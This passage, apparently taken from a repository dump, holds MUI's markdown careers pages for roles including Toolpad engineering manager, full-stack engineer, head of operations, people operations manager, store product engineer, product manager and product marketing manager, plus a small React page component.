team.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\nToolpad targets around half of this audience.\nWhile the team is still very small (5), we believe that the headcount on this product has needs to grow +14% MoM until the end of 2023 (>70 people).\nGrowing the Toolpad engineering team will be full of challenges.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- Hire and grow a diverse engineering team in a fast-scaling organization.\n- Cultivate excellence in the craft of the software your team builds.\n- Act as a servant leader for the engineers that report to you. You will support the career growth of individuals on your team.\n- Develop a great work environment.\n- Work directly with users and the engineering team to improve the product.\n- Improve our processes, for example the lifecycle of feature development from design through testing and release.\n\nFor the right candidate:\n\n- Working with the Leadership to construct and execute a hiring plan to grow the engineering team on Toolpad from one to multiple\n\n## Who we're looking for\n\n### Required\n\n- You've managed or supported a diverse, distributed engineers on small or large teams.\n- You have an interest in building a support structure for engineers to help them succeed.\n- You have phenomenal communication skills for working across the organization, capable of building strong relationships with peers and leadership.\n- You have had strong expertise and mastery of React or front-end development in the past.\n- You have deep empathy for users. You have experience with customer support or OSS community support.\n\n### Nice to have (but not required)\n\n- **You've maintained an active repository before**. Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams. Previous experience with highly active repository workflows is a definite plus for this role.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/__ID__/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/full-stack-engineer.md",
    "content": "# Full-stack Engineer — Toolpad (future role)\n\n<p class=\"description\">You will join the Toolpad team, to explore the role of MUI in the low code space and help bring the early prototype to a usable product.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## About the company\n\nMUI started with Material UI, the most successful React implementation of Google's Material Design.\nIt has gained a large following, not only due to its fidelity to Material Design, but also because of the number of components, its carefully designed component API, its obsession with details, and community engagement.\nToday, countless teams and organizations rely on our open-source projects to build their design system.\n\nA couple of years ago, we started to expand our suite of products.\nWe released [MUI X](https://mui.com/x/), a collection of advanced components; [MUI Design Kits](https://mui.com/design-kits/), the MUI components available for Figma, Sketch, etc.; and also host [Templates](https://mui.com/templates/), a set of pre-built UI kits.\nWe've seen rapid growth with all of them (2x per year) and we have more to come.\nWe are building [a low-code platform](https://mui.com/toolpad/) for developers to significantly increase the speed and lower the barrier for creating simple CRUD/dashboard UIs with MUI's libraries.\n\nWe are a fully distributed team, spread across multiple time zones.\nWe work mainly asynchronously, relying mostly on written collaboration.\nEvery contributor has the freedom to define how they work — the rest of us won't know what you're doing day-to-day unless you tell us.\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nOur mission is to empower as many people as possible to build great UIs, faster.\nThe faster and simpler it is, and the broader the audience that can create custom UIs, the better.\nWe believe that the best way to improve on these dimensions is to eliminate [80%](https://www.youtube.com/watch?v=GnO7D5UaDig&t=2451s) of the code that has to be written.\n\nWe're in the early stages of exploring what our role could be in the currently emerging low-code space. We've assembled a team to work on a new product and plan to bring it to market in 2022. We have made our initial research and need help to accelerate the development of our MVP.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nThe Toolpad application offers a wide variety of engineering challenges. Including\n\n- In-browser sandboxing and manipulation of live web applications\n- Drag & drop visual editor\n- Realtime collaborative editing\n- Interfacing with many different types of backends\n- Databinding and complex state management\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Help guide architectural decisions**. You'll join us in defining and refining the initial product and also help bring the conversation public as the MVP grows. You'll also interface with other teams at MUI as you'll be building on top of their work.\n- **Contribute to implementing new features**. MUI is a complex codebase. It's built on top of cutting-edge web technologies to build the low-code tool for the future.\n- **Reduce friction**. A large amount of the work on Toolpad is reducing friction and making it easier to use. As our MVP grows, our focus will shift from \"making it work\" towards \"making it easy to work with\".\n- **Collaborate with the community**. Toolpad will be open-sourced. As the community grows you'll act as a lead to steer it towards success. This includes reviewing issues, pull requests and questions, and guiding aspiring contributors to make meaningful contributions.\n- **Experiment and play**. Great, unexpected features and heisenbug fixes have come from a number of sources — relentlessly methodical processes of elimination, free-flowing team collaboration, inspiration by adjacent libraries and projects, and difficult-to-explain individual strokes of brilliance. Whatever your preferred style is for creating new things that others might not have thought of, you'll find a welcome home on the team.\n- **Take ownership of features from idea/mockup to live deployment**. You'll shape and guide the direction of crucial new features.\n- **Ship. Early and often**. You'll iterate and ship frequently. You'll have a real impact on the end-user experience and you'll love working on a team that builds stunning UIs and prioritizes delivering real user value as often as possible.\n- **You'll be interacting with the users** on a regular basis, handling inbound support and feature requests (every developer helps with developer requests).\n\n## The best parts of this job\n\n- **You'll be at the cutting edge of application development** — working on one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n- **Your role will be key to making Toolpad the go-to low code tool** for internal application building.\n\n## The worst parts of this job\n\n- **We move quickly but don't sacrifice quality**. We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **In open-source, you're faced with a nonstop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n- As **The product is in very early stages of development**, expect to enter an environment with incomplete and quickly changing requirements.\n\n## Who we're looking for\n\nWe're looking for someone with both strong front-end and back-end skills. More important than specific technical skills though is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**. Toolpad is built on the shoulders of giants, making use of technologies such as ES2021, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **Expertise in backend development**. Toolpad interfaces with multiple databases, both SQL and NoSQL, as well as APIs such as REST and GraphQL. You'll need to be comfortable in learning and integrating new backend technologies fast. You'll need to have a good understanding of distributed systems and some knowledge of CRDTs is a plus.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping beautiful user interfaces and intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**. As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**. You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**. If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**. You scope and stage your work into well-defined milestones to ship.\n\n### Nice to have (but not required)\n\n- **You've maintained an active repository before**. Maybe you've helped maintain a popular open-source repository, or perhaps you've worked on internal repositories that saw contributions from multiple teams. Previous experience with highly active repository workflows is a definite plus for this role.\n- **You have contributed code**. A history of contributing to MUI's open-source projects is a plus.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/4f76b45b-a18e-4bdb-8a34-8bb5a3c9c2ef/application?utm_source=ZNRrPGBkqO)\n\n## What happens next?\n\nWe start by screening applications, looking for candidates that showcase the desired skills and experience. If your application stands out, we'll contact you for a get-to-know conversation, where we'll meet each other.\n\nIf that goes well, you'll be invited to up to four additional conversations, those being:\n\n- A technical challenge.\n- A chat with one of the product managers or engineers that you will work closely with.\n- A chat with one of MUI's founders.\n- A possible follow-up chat if we missed addressing anything relevant in the previous conversations.\n\nAll these conversations will be 1:1 and over video chat. Please ask as many questions as you wish throughout the whole process, it's a two-way discussion. If you happen to need additional conversations as well, feel free to ask; we'll be happy to schedule them. Lastly, please note that we're unable to offer individual feedback during the initial screening process, as we're a small team and don't have the bandwidth to do so.\n\nWe look forward to hearing from you! ☺️\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/head-of-operations.md",
    "content": "# Head of Operations\n\n<p class=\"description\">You will take ownership of designing, implementing, and overseeing most of the business operations to support MUI's growth.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- We're a **remote** company, operating mostly asynchronously.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nWe have found market fit but we increasingly don't have the tools (in the broad sense) necessary to keep up with the requests from our users.\nUp to recently, the founders of MUI were the only ones to work on business operations.\nThere is now a tiny team of two people working to support the operations needs.\nBut this isn't enough, the department is increasingly a bottleneck in growing the company.\nWe are looking for a Head of Operations to take ownership of designing, implementing, and overseeing most of the business operations to support MUI's growth.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur approach to business operations is centered around operational excellence.\nIt involves relying on automation and writing custom code where necessary.\nWe are even building a product dedicated to improving internal tools for companies: https://mui.com/toolpad/ which we increasingly rely on internally.\nYou will likely use it a lot to improve processes.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- Oversee and manage the day-to-day operations of the company, including finance, IT, support, and legal.\n- Lead and manage the operations team, including recruiting, training, and developing team members.\n- Build and develop KPI dashboards (writing code if necessary) to be able to measure business health and performance.\n- Work on keeping the financial model up to date and on accurate forecasts.\n- Figuring out what to work on: working with the CEO and other leadership team members to identify and prioritize key initiatives and projects.\n- Support the CEO for investor relations and fundraising.\n- Implement a replacement to Google Group to scale email notifications (we use emails for the tasks of the ops team).\n- Work toward SOC 2 certification.\n- Migrate from Sendinblue to SendGrid.\n- Oversee our US flip.\n- Develop and implement strategies to support the growth and success of the company\n- Create new [Toolpad apps](https://mui.com/toolpad/) to streamline the operations (could require some SQL & JavaScript skills).\n\n## Who we're looking for\n\n### Required\n\n- Obsessive over the details, aiming for inbox zero.\n- JavaScript & SQL code proficiency as a lot of our operations rely on it.\n- Excellent written and verbal communication skills.\n- Demonstrable competency in strategic planning and business development.\n- Strong analytical, and problem-solving skills, with the ability to make data-driven decisions.\n- A high sense of curiosity, enjoying self-learning to get things done. You are [versatile](https://review.firstround.com/the-adaptable-leader-is-the-new-holy-grail-become-one-hire-one).\n- Excited about the ambiguity of an entrepreneurial, growing company, and able to juggle many projects and responsibilities.\n- Bachelor's degree in a related field (for example computer science, business management).\n- 1+ year of experience in a similar role.\n\n### Nice to have (but not required)\n\n- 3+ years of experience in a similar role.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/86ab11dc-0320-4e14-9b5b-7c8b3fb5bb71/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/people-operation-manager.md",
    "content": "# People Operations Manager\n\n<p class=\"description\">Build the HR function from the ground up at a high-growth tech company.</p>\n\n## Details of the role\n\n- **Location**: Remote (strong requirement for UTC-6 to UTC+4).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nAt the current growth rate, we target 50 new hires in 2023. We would reach 75 people.\nWe need somebody to lead our HR strategy including hiring, onboarding, diversity & inclusion, learning & development, and employee happiness.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n## The role\n\n### Why this is interesting\n\nYou'll have the freedom to implement processes and to drive change across the organization.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Recruiting**. You will help scale recruiting and improve the employer brand. It might take up to 50% of the time in the early days, and we will quickly need to hire a Tech Recruiter.\n- **Employees' experience**.\n  - You will work on the employee engagement survey results.\n  - You will reduce the admin burden.\n  - You will own the Retreat. Bring our remote team together. Being a fully distributed remote team has its challenges. You organize team events, make sure everybody has what they need to be productive, and find creative ways to engage as a team.\n- **Employee development**. You will improve program for evaluating performance and providing feedback. Our team members need continual learning.\n- **Culture development**. You will develop our remote and async-first culture. You will continue to train and mentor the team to update information in the handbook, for easy access to all.\n- **Connecting individual performance with company goals**.\n  - You will help all individuals understand their primary role within the wider organization.\n  - You will partner with Finance for budgeting/compensation purposes. You will manage compensation, benefits, leave, and other people-related matters.\n  - You will shape a strategy that aligns and moves MUI towards continued growth, innovation, and improvement.\n- **Legal compliance**. You will stay current on employee legislation and develop internal policies and procedures to support a scaling company; serve as the main point of contact for administrative matters.\n\n## Who we're looking for\n\nYou are a [manager of one](https://signalvnoise.com/posts/1430-hire-managers-of-one).\nThis role is perfect for you if you are curious, enjoy taking risks, and learning.\n\n### Required\n\n- 4+ years of experience as an HR business partner, preferably with experience at fast-growing technology companies.\n- A great listener who enjoys interacting with others and is open to feedback.\n- Excellent verbal and written communications skills that will enable you to develop relationships with all members of our team, regardless of tenure or position.\n- Experience implementing HR programs such as compensation review process, HR compliance, and employee development/growth.\n- Able to handle confidential information with discretion and deal with professionals inside and outside the company.\n- Tech-savvy with the ability to learn new tools quickly and find tools to help automate workflows.\n- A self-starter looking to grow and willing to own projects from start to finish with limited supervision.\n\n### Nice to have (but not required)\n\n- Basic knowledge of web development.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/b46968b7-dde3-4b91-9785-a05aa0a816d8/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/product-engineer-store.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from '../../pages/careers/product-engineer-store.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/product-engineer-store.md",
    "content": "# Product Engineer — Store\n\n<p class=\"description\">You will lead the technical, product, and operational development of the store.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nThe development and operations of the store are currently almost exclusively run by the executive team of the company (the co-founders). This team doesn't have enough bandwidth, the store doesn't receive the care it deserves. You will be responsible to step up and carry forward the development of the store on new fronts.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nYou will get the opportunity to work on many different topics.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- Take initiatives to grow the sales of the templates\n- Define the product direction\n- Review new items submitted by the contributors to be hosted on the marketplace\n- Fix root problems raised by store customers on the support channels\n- Take care of operational needs, for example automate payouts, create sales reports\n\n## Who we're looking for\n\nWe're looking for someone with strong development skills, and more important than specific technical skills a strong problem solver who loves to learn new things. Details matter to you.\nThis role is perfect for you if you are curious, have tenacity, enjoy tacking risk, and care about design.\nYou are a [manager of one](https://signalvnoise.com/posts/1430-hire-managers-of-one).\n\n### Required\n\n- **Expertise in modern Full-Stack ecosystem.** The store is currently build on WooCommerce so expertise in WordPress/PHP could help. Our backend technology of choice is Node.js.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, finding boring solutions, we want you on our team.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with community members and enterprise customers, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined milestones to ship.\n\n### Nice to have (but not required)\n\n- **Has or is pursuing a business side project**. You owned a side project generating revenues on the side of your full-time job. You were doing whatever was necessary to solve people's pain.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/e641bac3-5538-4ec8-8d73-eaa1a03704d6/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/product-manager.md",
    "content": "# Product Manager\n\n<p class=\"description\">We are looking for a product manager to guide our roadmap and build a great product.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nOur mission is to empower as many people as possible to build great UIs, faster.\nThe faster and simpler it is, and the broader the audience that can create custom UIs, the better.\nWe believe that the best way to improve on these dimensions is to eliminate [80%](https://www.youtube.com/watch?v=GnO7D5UaDig&t=2451s) of the code that has to be written: low-code.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\nBut providing React components isn't enough.\nIn our [last Developer Survey](https://mui.com/blog/2021-developer-survey-results/), we learned that the majority of our audience are full-stack developers.\nThey are looking for ways to move faster.\nThey are working on a couple of new projects every year, and where the integration between the UI and the database is key.\n\nYou will initiate the exploration of a bold new product vertical.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- You will coordinate with the engineering to ensure that the product being delivered at each iteration solves the problem.\n  This involves growing a deep understanding of our technical choices and constraints.\n- You will drive the growth of the product by owning KPIs.\n- You will grow and cultivate a deep understanding of the problems that developers have when they create simple applications (for example admins, prototypes). This means that you will observe and reach out to the community, run research interviews and share your insights with the team.\n- You will keep a close eye on feature requests, issues, and general improvements, to curate opportunities based on our strategy.\n- You will build a strategy for your product area and contribute to the overall product strategy, for example establishing a go-to-market strategy.\n- You will assess the impact of initiatives through telemetry data and qualitative feedback to help us develop our understanding further, and decide on the next steps.\n\n## Who we're looking for\n\n### Required\n\n- 3+ years experience as Product Manager or closely related roles such as Product Owner, Program Manager, or Solutions Architect.\n- Able to switch between the big picture and detailed view multiple times a day.\n\n### Nice to have (but not required)\n\n- Experience building developer tools.\n- Experience working with open-source and having interacted with open-source communities.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/__ID__/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/product-marketing-manager.md",
    "content": "# Product Marketing Manager (future role)\n\n<p class=\"description\">You will own the marketing efforts at MUI.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: _No ladders created yet_.\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nUp to this point we have operated:\n\n- on the open-source side, through word of mouth and SEO\n- on the commercial side, through inbound leads with $0 investment in marketing\n\nWe believe that we could do a lot better. This is a white canvas opportunity at the company, this role is critical to our growth plans. Product Marketing will be a cross-functional role at MUI, partnering with Design, Product, Developer 